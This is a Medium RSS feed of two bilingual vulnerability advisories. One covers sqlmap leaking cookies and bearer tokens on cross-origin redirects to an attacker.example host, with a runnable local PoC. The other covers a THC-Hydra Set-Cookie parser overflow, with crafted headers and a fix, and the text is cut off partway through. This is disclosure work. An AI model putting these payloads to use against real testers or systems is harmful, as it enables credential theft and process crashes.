<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by VulnSVNC on Medium]]></title>
        <description><![CDATA[Stories by VulnSVNC on Medium]]></description>
        <link>https://medium.com/@vulnsvnc?source=rss-adecbd3c0560------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*4PxtMXpD-ICWFOOw</url>
            <title>Stories by VulnSVNC on Medium</title>
            <link>https://medium.com/@vulnsvnc?source=rss-adecbd3c0560------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 14:09:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vulnsvnc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2026–133305 — Cross-Origin Redirect Üzerinden Kimlik Bilgisi İfşası (sqlmap)]]></title>
            <link>https://vulnsvnc.medium.com/cve-2026-133305-cross-origin-redirect-%C3%BCzerinden-kimlik-bilgisi-i%CC%87f%C5%9Fas%C4%B1-sqlmap-bf02c274e54d?source=rss-adecbd3c0560------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf02c274e54d</guid>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[vulnsvnc]]></category>
            <category><![CDATA[cve-2026-133305]]></category>
            <dc:creator><![CDATA[VulnSVNC]]></dc:creator>
            <pubDate>Sat, 21 Nov 2026 14:46:08 GMT</pubDate>
            <atom:updated>2026-11-21T14:46:08.617Z</atom:updated>
            <content:encoded><![CDATA[<p>Alan Değer <strong>Ürün / Product</strong> sqlmap <strong>Test edilen sürümler / Tested versions</strong> 1.10.11.88#dev / 1.10.11.89 <strong>Zafiyet sınıfı / Vulnerability class</strong> CWE-200: Exposure of Sensitive Information to an Unauthorized Actor <strong>İkincil sınıflandırma / Secondary classification</strong> CWE-522: Insufficiently Protected Credentials <strong>Etkilenen bileşen / Affected component</strong> lib/request/redirecthandler.py <strong>Saldırı vektörü / Attack vector</strong> Network <strong>Yetki gereksinimi / Privileges required</strong> None <strong>Kullanıcı etkileşimi / User interaction</strong> Required <strong>Etkilenen varlık / Affected asset</strong> Kullanıcının sağladığı oturum çerezleri ve kimlik doğrulama başlıkları / User-supplied session cookies and authentication headers <strong>CVSS 3.1</strong> <strong>4.3 (Medium)</strong> <strong>CVE</strong> CVE-2026-133305</p><h3>Türkçe</h3><h3>1. Özet</h3><p>sqlmap’in HTTP yönlendirme (redirect) mekanizmasında, farklı bir origin’e yapılan yönlendirmeler sırasında kullanıcı tarafından sağlanan hassas HTTP başlıklarının yeni hedefe aktarılmasına neden olan bir güvenlik zafiyeti tespit ettim.</p><p>Zafiyet, sqlmap’in --cookie parametresiyle sağlanan Cookie başlığını ve -H parametresiyle eklenen Authorization gibi özel başlıkları, farklı bir host veya porta yönlendirme gerçekleştiğinde de korumasından kaynaklanmaktadır.</p><p>Normal koşullarda tarayıcılar, curl ve Python requests gibi HTTP istemcileri farklı origin&#39;e yapılan yönlendirmelerde hassas kimlik doğrulama başlıklarını yeni hedefe aktarmaz. Ancak sqlmap&#39;in mevcut yönlendirme davranışında bu başlıklar yeni origin&#39;e de gönderilebilmektedir.</p><p>--batch parametresi kullanıldığında sqlmap, yönlendirme için kullanıcıdan onay almadan işlemi sürdürmektedir. Bu durum, saldırganın kontrol ettiği veya açık yönlendirme (open redirect) bulunan bir hedef üzerinden kullanıcının oturum bilgilerinin üçüncü taraf bir sunucuya gönderilmesine neden olabilmektedir.</p><p>Bu zafiyet sonucunda sqlmap kullanıcısının hedef sistem için sağladığı session cookie ve bearer token gibi hassas kimlik bilgileri farklı bir origin tarafından ele geçirilebilir.</p><h3>2. Zafiyet Detayları</h3><h3>2.1 Sınıflandırma</h3><ul><li><strong>CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor:</strong> Hassas kimlik doğrulama bilgilerinin yetkisiz bir origin’e aktarılması.</li><li><strong>CWE-522 — Insufficiently Protected Credentials:</strong> Yönlendirme sırasında kimlik bilgilerinin hedef origin’e göre korunmaması.</li><li><strong>Etkilenen bileşen:</strong> lib/request/redirecthandler.py</li><li><strong>Etkilenen mekanizma:</strong> HTTP redirect handling.</li><li><strong>Etkilenen başlıklar:</strong> Cookie, Authorization ve kullanıcı tarafından eklenen hassas özel başlıklar.</li></ul><h3>2.2 CVSS v3.1 Değerlendirmesi</h3><p><strong>CVSS 3.1 Base Score: 4.3 (Medium)</strong></p><p><strong>Vektör:</strong> CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N</p><p>Metrik Değer Açıklama Attack Vector (AV) Network Saldırı HTTP yönlendirmesi üzerinden ağ aracılığıyla gerçekleşir. Attack Complexity (AC) Low Özel bir yarış koşulu veya karmaşık işlem gerektirmez. Privileges Required (PR) None Saldırganın hedef sqlmap kullanıcısında yetkisi bulunması gerekmez. User Interaction (UI) Required Kullanıcının sqlmap üzerinden hedefe yönelik işlemi başlatması gerekir. Scope (S) Unchanged Etki sqlmap kullanıcısının sağladığı hassas bilgilerin ifşasıyla sınırlıdır. Confidentiality © Low Session cookie veya bearer token gibi hassas bilgiler ifşa edilebilir. Integrity (I) None Doğrudan bütünlük etkisi gösterilmemiştir. Availability (A) None Doğrudan kullanılabilirlik etkisi gösterilmemiştir.</p><h3>2.3 Kök Neden</h3><p>Zafiyet, sqlmap’in HTTP yönlendirmelerini işleyen lib/request/redirecthandler.py bileşenindeki header yönetiminden kaynaklanmaktadır.</p><p>Bir HTTP isteği sırasında kullanıcı tarafından sağlanan kimlik doğrulama başlıkları, yönlendirme hedefinin origin bilgisi değişse bile yeni isteğe aktarılabilmektedir.</p><p>Örnek ilk istek:</p><pre>GET /?id=1 HTTP/1.1<br>Host: target.example<br>Cookie: session=MYSECRETCOOKIE<br>Authorization: Bearer MYSECRETTOKEN</pre><p>Hedef sunucu aşağıdaki yönlendirmeyi döndürdüğünde:</p><pre>HTTP/1.1 302 Found<br>Location: http://attacker.example/leak</pre><p>sqlmap, farklı origin’e yapılan yönlendirmeyi takip ederken önceki istekteki hassas başlıkları yeni hedefe gönderebilmektedir.</p><p>Bu davranış, kimlik bilgilerinin yalnızca başlangıçta belirtilen hedefe gönderilmesini bekleyen kullanıcılar açısından güvenlik riski oluşturmaktadır.</p><h3>2.4 --batch Parametresi ile Etkileşim</h3><p>Normal kullanımda sqlmap, yönlendirmeyi takip etmek için kullanıcıya onay sorabilir.</p><p>Örnek çıktı:</p><pre>got a 302 redirect to &#39;http://127.0.0.2:8002/leak&#39;.<br>Do you want to follow? [Y/n] Y</pre><p>Ancak --batch parametresi kullanıldığında etkileşimli onay süreci atlanır ve varsayılan yanıt uygulanarak yönlendirme takip edilir.</p><p>Bu nedenle kullanıcı, hassas başlıkların farklı bir origin’e gönderileceğini fark etmeden işlemi sürdürebilir.</p><h3>2.5 PoC Senaryosu</h3><p>PoC iki farklı loopback adresinde çalışan HTTP sunucusu kullanmaktadır:</p><ul><li><strong>Sunucu A:</strong> 127.0.0.1:8001 — İlk hedef sunucu.</li><li><strong>Sunucu B:</strong> 127.0.0.2:8002 — Yönlendirme sonrası isteği alan sunucu.</li></ul><p>Sunucu A, gelen isteğe 302 Found yanıtı vererek Sunucu B&#39;ye yönlendirme yapar. Sunucu B ise kendisine ulaşan istekteki Cookie ve Authorization başlıklarını ekrana yazdırır.</p><p>Test sırasında gerçek kullanıcı bilgileri yerine sahte test değerleri kullanılır.</p><h3>2.6 PoC Çalıştırılması</h3><p>PoC sunucusunu başlatın:</p><pre>python3 sqlmap_poc.py</pre><p>Ardından başka bir terminalde sqlmap’i çalıştırın:</p><pre>python3 sqlmap.py \<br>  -u &quot;http://127.0.0.1:8001/?id=1&quot; \<br>  --cookie=&quot;session=MYSECRETCOOKIE&quot; \<br>  -H &quot;Authorization: Bearer MYSECRETTOKEN&quot; \<br>  --batch</pre><h3>2.7 Gözlemlenen Sonuç</h3><p>Yönlendirme takip edildiğinde Sunucu B tarafında aşağıdaki başlıklar görüntülenir:</p><pre>[B] REQUEST RECEIVED: /leak<br>[B] Authorization: Bearer MYSECRETTOKEN<br>[B] Cookie: session=MYSECRETCOOKIE;srv=abc</pre><p>Bu çıktı, başlangıçta 127.0.0.1:8001 hedefine sağlanan hassas kimlik doğrulama bilgilerinin farklı origin olan 127.0.0.2:8002 adresine de gönderildiğini göstermektedir.</p><h3>3. Saldırı Akışı</h3><ol><li>Kullanıcı sqlmap’i hedef sistem üzerinde çalıştırır.</li><li>Kullanıcı --cookie veya -H parametreleriyle oturum bilgilerini ve kimlik doğrulama başlıklarını sağlar.</li><li>Hedef sunucu saldırganın kontrolündeki bir adrese veya açık yönlendirme bulunan farklı bir origin’e HTTP redirect yanıtı döndürür.</li><li>sqlmap yönlendirmeyi takip eder.</li><li>Kullanıcı tarafından sağlanan hassas başlıklar yeni origin’e aktarılır.</li><li>Üçüncü taraf sunucu session cookie veya bearer token gibi bilgileri kaydeder.</li></ol><h3>4. Etki</h3><p>Bu zafiyet, sqlmap kullanan güvenlik araştırmacılarının ve penetrasyon testi uzmanlarının hedef sistem için sağladığı hassas kimlik doğrulama bilgilerinin üçüncü taraf sunuculara ifşa edilmesine neden olabilir.</p><p>Olası etkiler:</p><ul><li>Session cookie bilgilerinin ele geçirilmesi.</li><li>Bearer token bilgilerinin ifşa edilmesi.</li><li>Yetkisiz kişilerin geçerli oturum bilgilerini elde etmesi.</li><li>Ele geçirilen kimlik bilgilerinin ilgili uygulamaya erişim amacıyla kötüye kullanılabilmesi.</li></ul><p>Zafiyet sqlmap uygulamasının kendisinde kod çalıştırılmasına neden olmamaktadır. Temel güvenlik etkisi, kullanıcının sağladığı kimlik bilgilerinin farklı bir origin’e gönderilmesidir.</p><h3>5. Önerilen Çözüm</h3><p>HTTP redirect işlemi sırasında kaynak ve hedef origin bilgileri karşılaştırılmalıdır.</p><p>Origin değiştiğinde aşağıdaki hassas başlıklar yeni isteğe aktarılmamalıdır:</p><ul><li>Cookie</li><li>Authorization</li><li>Kimlik doğrulama amacıyla kullanıcı tarafından eklenen özel başlıklar.</li></ul><p>Bu kontrol yalnızca --auth-refresh kullanıldığında değil, tüm cross-origin redirect işlemlerinde uygulanmalıdır.</p><p>Ek olarak --batch modunda farklı origin&#39;e yapılan yönlendirmelerin varsayılan olarak takip edilmemesi veya hassas başlıkların aktarılmayacağına dair açık bir güvenlik kontrolü uygulanması önerilmektedir.</p><h3>6. Geçici Çözüm</h3><p>Düzeltme uygulanana kadar aşağıdaki seçenekler kullanılabilir.</p><p><strong>Yönlendirmeleri tamamen devre dışı bırakmak:</strong></p><pre>--ignore-redirects</pre><p><strong>İstek kapsamını sınırlandırmak:</strong></p><pre>--scope=&quot;target.example&quot;</pre><p>Bu seçenekler, hassas kimlik bilgilerinin beklenmeyen hedeflere gönderilmesi riskini azaltır.</p><h3>English</h3><h3>1. Summary</h3><p>I identified a security vulnerability in sqlmap’s HTTP redirect handling mechanism that allows sensitive HTTP headers supplied by the user to be forwarded to a different origin.</p><p>The issue occurs because sqlmap preserves user-supplied headers such as Cookie, provided through --cookie, and Authorization or other custom headers supplied through -H, even when a redirect points to a different host or port.</p><p>Under normal circumstances, HTTP clients such as browsers, curl, and Python requests strip sensitive authentication headers when following cross-origin redirects. However, sqlmap may forward these headers to the new origin.</p><p>When --batch is enabled, sqlmap follows redirects without requiring interactive confirmation. This behavior can allow a malicious or compromised target, or a target containing an open redirect, to cause the tester&#39;s session credentials to be sent to a third-party server.</p><p>As a result, session cookies and bearer tokens supplied by the sqlmap user for the original target may be exposed to an unauthorized origin.</p><h3>2. Vulnerability Details</h3><h3>2.1 Classification</h3><ul><li><strong>CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor:</strong> Sensitive authentication information is forwarded to an unauthorized origin.</li><li><strong>CWE-522 — Insufficiently Protected Credentials:</strong> Authentication credentials are not adequately protected during cross-origin redirects.</li><li><strong>Affected component:</strong> lib/request/redirecthandler.py</li><li><strong>Affected mechanism:</strong> HTTP redirect handling.</li><li><strong>Affected headers:</strong> Cookie, Authorization, and user-supplied sensitive custom headers.</li></ul><h3>2.2 CVSS v3.1 Assessment</h3><p><strong>CVSS 3.1 Base Score: 4.3 (Medium)</strong></p><p><strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N</p><p>Metric Value Description Attack Vector (AV) Network The attack occurs through HTTP redirects over a network. Attack Complexity (AC) Low No race condition or complex procedure is required. Privileges Required (PR) None The attacker does not need privileges on the sqlmap user’s system. User Interaction (UI) Required The user must initiate the sqlmap operation against the target. Scope (S) Unchanged The impact is limited to disclosure of sensitive information supplied by the sqlmap user. Confidentiality © Low Session cookies or bearer tokens may be disclosed. Integrity (I) None No direct integrity impact is demonstrated. Availability (A) None No direct availability impact is demonstrated.</p><h3>2.3 Root Cause</h3><p>The vulnerability originates from header handling in sqlmap’s HTTP redirect implementation, located in lib/request/redirecthandler.py.</p><p>During an HTTP request, authentication headers supplied by the user may be preserved and forwarded to the redirected request even when the destination origin changes.</p><p>For example, the initial request may contain:</p><pre>GET /?id=1 HTTP/1.1<br>Host: target.example<br>Cookie: session=MYSECRETCOOKIE<br>Authorization: Bearer MYSECRETTOKEN</pre><p>If the target responds with:</p><pre>HTTP/1.1 302 Found<br>Location: http://attacker.example/leak</pre><p>sqlmap may follow the redirect and forward the sensitive headers to the new origin.</p><p>This behavior creates a credential disclosure risk for users who expect their authentication information to remain restricted to the originally specified target.</p><h3>2.4 Interaction with --batch</h3><p>Under normal operation, sqlmap may ask the user whether a redirect should be followed.</p><p>Example:</p><pre>got a 302 redirect to &#39;http://127.0.0.2:8002/leak&#39;.<br>Do you want to follow? [Y/n] Y</pre><p>When --batch is enabled, the interactive confirmation is skipped and the default response is applied.</p><p>Consequently, the user may not realize that sensitive headers are being sent to a different origin.</p><h3>2.5 PoC Scenario</h3><p>The PoC uses two HTTP servers running on separate loopback addresses:</p><ul><li><strong>Server A:</strong> 127.0.0.1:8001 — Initial target server.</li><li><strong>Server B:</strong> 127.0.0.2:8002 — Receives the redirected request.</li></ul><p>Server A responds with an HTTP 302 Found redirect pointing to Server B. Server B logs the Cookie and Authorization headers received in the redirected request.</p><p>The test uses fake credentials and does not require real user accounts.</p><h3>2.6 Running the PoC</h3><p>Start the PoC server:</p><pre>python3 sqlmap_poc.py</pre><p>Run sqlmap in another terminal:</p><pre>python3 sqlmap.py \<br>  -u &quot;http://127.0.0.1:8001/?id=1&quot; \<br>  --cookie=&quot;session=MYSECRETCOOKIE&quot; \<br>  -H &quot;Authorization: Bearer MYSECRETTOKEN&quot; \<br>  --batch</pre><h3>2.7 Observed Behavior</h3><p>After the redirect is followed, Server B receives:</p><pre>[B] REQUEST RECEIVED: /leak<br>[B] Authorization: Bearer MYSECRETTOKEN<br>[B] Cookie: session=MYSECRETCOOKIE;srv=abc</pre><p>This demonstrates that sensitive authentication headers initially supplied for 127.0.0.1:8001 are also sent to the different origin at 127.0.0.2:8002.</p><h3>3. Attack Flow</h3><ol><li>The user runs sqlmap against a target application.</li><li>The user supplies session credentials and authentication headers through --cookie or -H.</li><li>The target responds with an HTTP redirect to an attacker-controlled origin or an origin reachable through an open redirect.</li><li>sqlmap follows the redirect.</li><li>User-supplied sensitive headers are forwarded to the new origin.</li><li>The third-party server captures session cookies or bearer tokens.</li></ol><h3>4. Impact</h3><p>This vulnerability can expose authentication credentials supplied by security researchers and penetration testers while using sqlmap.</p><p>Potential consequences include:</p><ul><li>Disclosure of session cookies.</li><li>Exposure of bearer tokens.</li><li>Unauthorized acquisition of valid session credentials.</li><li>Potential misuse of captured credentials to access the corresponding application.</li></ul><p>This vulnerability does not provide code execution within sqlmap itself. Its primary security impact is the disclosure of user-supplied credentials to a different origin.</p><h3>5. Recommended Fix</h3><p>The redirect handler should compare the source and destination origins.</p><p>When the origin changes, sensitive headers should not be forwarded to the redirected request, including:</p><ul><li>Cookie</li><li>Authorization</li><li>User-supplied custom headers containing authentication credentials.</li></ul><p>This protection should apply to all cross-origin redirects, rather than only when --auth-refresh is enabled.</p><p>Additionally, sqlmap should consider preventing automatic cross-origin redirects by default when running in --batch mode, or applying an explicit security check before following them.</p><h3>6. Workarounds</h3><p>Until the issue is fixed, the following options can reduce the risk.</p><p><strong>Disable redirects:</strong></p><pre>--ignore-redirects</pre><p><strong>Restrict the request scope:</strong></p><pre>--scope=&quot;target.example&quot;</pre><h3>PoC Detail</h3><pre>#!/usr/bin/env python3<br><br>import threading<br>from http.server import BaseHTTPRequestHandler, HTTPServer<br><br><br>class AttackerHandler(BaseHTTPRequestHandler):<br>    &quot;&quot;&quot;Receives the redirected request on a different origin.&quot;&quot;&quot;<br><br>    def do_GET(self):<br>        print(f&quot;\n[B] REQUEST RECEIVED: {self.path}&quot;)<br><br>        for header, value in self.headers.items():<br>            if header.lower() in (&quot;cookie&quot;, &quot;authorization&quot;):<br>                print(f&quot;[B] {header}: {value}&quot;)<br><br>        self.send_response(200)<br>        self.send_header(&quot;Content-Type&quot;, &quot;text/plain&quot;)<br>        self.end_headers()<br>        self.wfile.write(b&quot;ok&quot;)<br><br>    do_POST = do_GET<br><br>    def log_message(self, *args):<br>        pass<br><br><br>class TargetHandler(BaseHTTPRequestHandler):<br>    &quot;&quot;&quot;Redirects the initial request to the second origin.&quot;&quot;&quot;<br><br>    def do_GET(self):<br>        self.send_response(302)<br>        self.send_header(<br>            &quot;Location&quot;,<br>            &quot;http://127.0.0.2:8002/leak&quot;<br>        )<br>        self.send_header(&quot;Set-Cookie&quot;, &quot;srv=abc&quot;)<br>        self.send_header(&quot;Content-Length&quot;, &quot;0&quot;)<br>        self.end_headers()<br><br>    do_POST = do_GET<br><br>    def log_message(self, *args):<br>        pass<br><br><br>def start_attacker_server():<br>    server = HTTPServer(<br>        (&quot;127.0.0.2&quot;, 8002),<br>        AttackerHandler<br>    )<br>    print(&quot;[B] Attacker server listening on 127.0.0.2:8002&quot;)<br>    server.serve_forever()<br><br><br>def start_target_server():<br>    server = HTTPServer(<br>        (&quot;127.0.0.1&quot;, 8001),<br>        TargetHandler<br>    )<br>    print(&quot;[A] Target server listening on 127.0.0.1:8001&quot;)<br>    server.serve_forever()<br><br><br>if __name__ == &quot;__main__&quot;:<br>    threading.Thread(<br>        target=start_attacker_server,<br>        daemon=True<br>    ).start()<br><br>    start_target_server()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf02c274e54d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–133274 — Stack-Buffer Overflow Write PoC & Write-up (THC-Hydra)]]></title>
            <link>https://vulnsvnc.medium.com/cve-2026-133274-stack-buffer-overflow-write-poc-write-up-thc-hydra-471eafa1c5e2?source=rss-adecbd3c0560------2</link>
            <guid isPermaLink="false">https://medium.com/p/471eafa1c5e2</guid>
            <category><![CDATA[cve-2026-133274]]></category>
            <category><![CDATA[kali-tools]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[vulnsvnc]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[VulnSVNC]]></dc:creator>
            <pubDate>Sat, 21 Nov 2026 14:40:26 GMT</pubDate>
            <atom:updated>2026-11-21T14:42:50.595Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Ürün</strong> THC-Hydra (vanhauser-thc/thc-hydra) <strong>Test Edilen Versiyon</strong> v9.8dev <strong>Zafiyet Sınıfı</strong> CWE-787: Out-of-bounds Write / CWE-191: Integer Underflow <strong>Etkilenen Bileşen</strong> hydra-http-form.c — HTTP form response handler / Set-Cookie parsing loop <strong>Saldırı Vektörü</strong> Network (HTTP/HTTPS) <strong>Yetki Gereksinimi</strong> None <strong>Kullanıcı Etkileşimi</strong> Hydra operatörünün HTTP form kontrolünü başlatması <strong>Etkilenen Varlık</strong> Hydra client process <strong>CVSS 4.0</strong> <strong>7.1 (High)</strong> <strong>CVE</strong> CVE-2026-133274 <strong>Keşif Tarihi</strong> 6 Kasım 2026 <strong>Vendor Bildirim Tarihi</strong> 7 Kasım 2026</p><h3>1. Özet</h3><p>THC-Hydra’nın HTTP form modülünde, HTTP sunucularından gelen Set-Cookie başlıklarının işlenmesi sırasında bellek bozulmasına neden olan bir zafiyet tespit ettim.</p><p>Zafiyet, hydra-http-form.c dosyasında bulunan HTTP form response handler içerisindeki cookie parsing mekanizmasından kaynaklanmaktadır.</p><p>Set-Cookie başlığında iki nokta üst üste karakterinden sonra gelen boşlukların hatalı işlenmesi, cookie verisinin başında beklenmeyen bir boşluk karakterinin korunmasına neden olmaktadır. Daha sonraki HTTP yanıtında aynı cookie normal biçimde güncellendiğinde, cookie parser içerisindeki ptr - cookie - 2 hesaplaması negatif değer üretebilmektedir.</p><p>Bu negatif değer, strncpy() fonksiyonunun uzunluk parametresine aktarılmaktadır. Fonksiyonun uzunluk parametresi size_t türünde olduğundan, negatif değer çok büyük bir unsigned değere dönüşmektedir. Bunun sonucunda hedef buffer sınırlarının dışında yazma işlemi gerçekleşmektedir.</p><p>Fortify korumalarının etkin olduğu derlemelerde Hydra süreci:</p><pre>*** buffer overflow detected ***: terminated</pre><p>hatasıyla sonlanmaktadır. Daha az korumalı derlemelerde ise aynı hatalı uzunluk hesabı out-of-bounds write davranışına neden olmaktadır.</p><h3>2. Zafiyet Detayları</h3><h3>2.1 Sınıflandırma</h3><ul><li><strong>CWE-787 — Out-of-bounds Write:</strong> Hedef buffer sınırlarının dışında bellek yazımı.</li><li><strong>CWE-191 — Integer Underflow:</strong> Negatif pointer farkının unsigned uzunluk parametresine aktarılması.</li><li><strong>Etkilenen fonksiyon:</strong> strncpy()</li><li><strong>Etkilenen dosya:</strong> hydra-http-form.c</li><li><strong>Etkilenen işlem:</strong> HTTP Set-Cookie başlıklarının parse edilmesi ve mevcut cookie değerlerinin güncellenmesi.</li></ul><h3>2.2 CVSS v4.0 Değerlendirmesi</h3><p><strong>CVSS 4.0 Base Score: 7.1 (High)</strong></p><p>Zafiyet, ağ üzerinden Hydra’ya iletilen özel hazırlanmış HTTP yanıtları aracılığıyla tetiklenebilmektedir. Başarılı tetikleme sonucunda Hydra istemci süreci bellek bozulması nedeniyle sonlanabilmektedir.</p><h3>2.3 Kök Neden — Zafiyetli Kod</h3><p><strong>Dosya:</strong> hydra-http-form.c</p><p>Zafiyetli kod:</p><pre>if (ptr != cookie &amp;&amp; *(ptr - 1) == &#39; &#39;) {<br>  strncpy(tmpcookie, cookie, ptr - cookie - 2);<br>  tmpcookie[ptr - cookie - 2] = 0;<br>}</pre><p>Kod içerisinde ptr - cookie - 2 ifadesinin negatif değer üretip üretmediği kontrol edilmeden sonuç doğrudan strncpy() fonksiyonunun uzunluk parametresi olarak kullanılmaktadır.</p><p>strncpy() fonksiyonunun üçüncü parametresi size_t türündedir. Pointer farkı sonucunda -1 elde edildiğinde bu değer unsigned dönüşüm nedeniyle çok büyük bir kopyalama uzunluğuna dönüşmektedir.</p><p>Bu durum, cookie verisinin tmpcookie buffer&#39;ına kopyalanması sırasında buffer sınırlarının aşılmasına neden olmaktadır.</p><p>Aynı negatif değer aşağıdaki null terminator atamasında da kullanılmaktadır:</p><pre>tmpcookie[ptr - cookie - 2] = 0;</pre><p>Dolayısıyla sorun yalnızca kopyalama uzunluğuyla sınırlı değildir; indeks hesabı da geçersiz hale gelmektedir.</p><h3>2.4 Tetiklenme Mekanizması</h3><p>Zafiyet iki ardışık HTTP yanıtı kullanılarak tetiklenmektedir.</p><p><strong>İlk HTTP yanıtı:</strong></p><pre>HTTP/1.1 200 OK<br>Set-Cookie:  a=orig; Path=/<br>Content-Length: 0</pre><p>Bu yanıtta Set-Cookie: sonrasında iki boşluk bulunmaktadır.</p><p>Cookie parsing işlemi sırasında fazladan boşluk cookie verisinin başında korunmaktadır. Böylece cookie jar içerisinde beklenmeyen bir başlangıç karakteri oluşmaktadır.</p><p><strong>İkinci HTTP yanıtı:</strong></p><pre>HTTP/1.1 200 OK<br>Set-Cookie: a=newvalue; Path=/<br>Content-Length: 0</pre><p>İkinci yanıtta aynı cookie normal biçimde güncellenmektedir.</p><p>Cookie güncelleme mekanizması çalıştığında aşağıdaki hesaplama negatif sonuç üretebilmektedir:</p><pre>ptr - cookie - 2</pre><p>Hesaplama sonucunun -1 olması durumunda değer strncpy() fonksiyonuna aktarılmakta ve çok büyük bir kopyalama uzunluğu oluşmaktadır.</p><p>Bu işlem Hydra sürecinde out-of-bounds write ile sonuçlanmaktadır.</p><h3>2.5 PoC Payload</h3><p>İlk yanıtın payload değeri:</p><pre>Set-Cookie:  a=orig; Path=/</pre><p>İkinci yanıtın payload değeri:</p><pre>Set-Cookie: a=newvalue; Path=/</pre><p>İki yanıt arasındaki boşluk farklılığı, cookie parsing ve güncelleme mekanizmasını hatalı uzunluk hesabına yönlendirmektedir.</p><h3>2.6 PoC Çalıştırılması</h3><p>PoC HTTP sunucusu yerel test ortamında 127.0.0.1:8899 adresinde çalışmaktadır.</p><p>Önce PoC sunucusu başlatılır:</p><pre>python3 CVE-2026-133274_THC-Hydra_PoC.py</pre><p>Ardından Hydra aşağıdaki komutla çalıştırılır:</p><pre>./hydra -l test -p test 127.0.0.1 -s 8899 \<br>  http-get-form &quot;/:user=^USER^&amp;pass=^PASS^:F=incorrect&quot; \<br>  -t 1 -d</pre><p>PoC sunucusu iki HTTP isteğini karşılayarak sırasıyla hatalı boşluk içeren cookie başlığını ve aynı cookie’nin normal biçimde güncellendiği ikinci yanıtı gönderir.</p><h3>3. Tetiklenme Yolu ve Saldırı Akışı</h3><ol><li>Hydra, hedef HTTP sunucusuna HTTP form isteği gönderir.</li><li>HTTP sunucusu ilk yanıtta iki boşluk içeren Set-Cookie başlığını döndürür.</li><li>Hydra cookie değerini işler ve başlangıçtaki fazladan boşluk cookie verisinde korunur.</li><li>Sunucu sonraki HTTP yanıtında aynı cookie’yi normal biçimde günceller.</li><li>Hydra cookie parser içerisindeki güncelleme kod yoluna girer.</li><li>ptr - cookie - 2 hesabı negatif değer üretir.</li><li>Negatif değer strncpy() fonksiyonunun size_t uzunluk parametresine aktarılır.</li><li>Buffer sınırlarının dışında yazma gerçekleşir ve Hydra süreci sonlanır.</li></ol><h3>4. Lab Doğrulama Kanıtı</h3><p>Test sırasında Fortify kontrollerinin etkin olduğu Hydra derlemesinde aşağıdaki hata gözlemlenmektedir:</p><pre>*** buffer overflow detected ***: terminated</pre><p>Bu çıktı, cookie parsing işlemi sırasında oluşan hatalı bellek erişiminin çalışma zamanı koruması tarafından yakalandığını ve Hydra sürecinin abort edildiğini göstermektedir.</p><p>Daha az korumalı derlemelerde aynı tetikleme akışı out-of-bounds write davranışına neden olmaktadır.</p><h3>5. Etki</h3><p>Bu zafiyetin başarılı şekilde tetiklenmesi aşağıdaki sonuçlara neden olabilmektedir:</p><ul><li>Hydra istemci sürecinin beklenmedik şekilde sonlanması.</li><li>HTTP form kontrollerinin kesintiye uğraması.</li><li>Hydra’nın kullanılamaz hale gelmesi.</li><li>Bellek korumalarının yapılandırmasına bağlı olarak stack üzerinde out-of-bounds write meydana gelmesi.</li></ul><p>Gösterilen PoC ile doğrulanan temel etki, Hydra sürecinin çökmesi ve hizmet reddidir.</p><h3>6. Önerilen Çözüm</h3><p>ptr - cookie - 2 hesaplamasının negatif değer üretmesi engellenmelidir.</p><p>Pointer farkı, size_t türüne dönüştürülmeden önce signed bir türde hesaplanmalı ve negatif sonuçlar kontrol edilmelidir. Ayrıca kopyalama uzunluğu hedef buffer kapasitesiyle sınırlandırılmalıdır.</p><p>Örnek kontrol yaklaşımı:</p><pre>ptrdiff_t off = ptr - cookie - 2;</pre><pre>if (off &gt;= 0 &amp;&amp; (size_t)off &lt; sizeof(tmpcookie)) {<br>  size_t n = (size_t)off;<br>  memcpy(tmpcookie, cookie, n);<br>  tmpcookie[n] = &#39;\0&#39;;<br>}</pre><p>Bu kontrol ile negatif uzunluk değerinin strncpy() veya benzeri bellek işlemlerine aktarılması engellenebilir.</p><h3>CVE-2026–133274 — Out-of-Bounds Write in THC-Hydra HTTP Form Cookie Parser</h3><p><strong>Product</strong> THC-Hydra (vanhauser-thc/thc-hydra) <strong>Version Tested</strong> v9.8dev <strong>Vulnerability Class</strong> CWE-787: Out-of-bounds Write / CWE-191: Integer Underflow <strong>Affected Component</strong> hydra-http-form.c — HTTP form response handler / Set-Cookie parsing loop <strong>Attack Vector</strong> Network (HTTP/HTTPS) <strong>Privileges Required</strong> None <strong>User Interaction</strong> The Hydra operator initiates the HTTP form check <strong>Affected Asset</strong> Hydra client process <strong>CVSS 4.0</strong> <strong>7.1 (High)</strong> <strong>CVE</strong> CVE-2026-133274 <strong>Discovery Date</strong> November 6, 2026 <strong>Vendor Notification Date</strong> November 7, 2026</p><h3>1. Summary</h3><p>I identified a memory corruption vulnerability in THC-Hydra’s HTTP form module while processing Set-Cookie headers received from HTTP servers.</p><p>The vulnerability originates from the cookie parsing mechanism in the HTTP form response handler in hydra-http-form.c.</p><p>Improper handling of whitespace following the colon in a Set-Cookie header allows an unexpected leading whitespace character to be preserved in the cookie data. When the same cookie is updated normally in a subsequent HTTP response, the expression ptr - cookie - 2 in the cookie parser can produce a negative value.</p><p>This negative value is 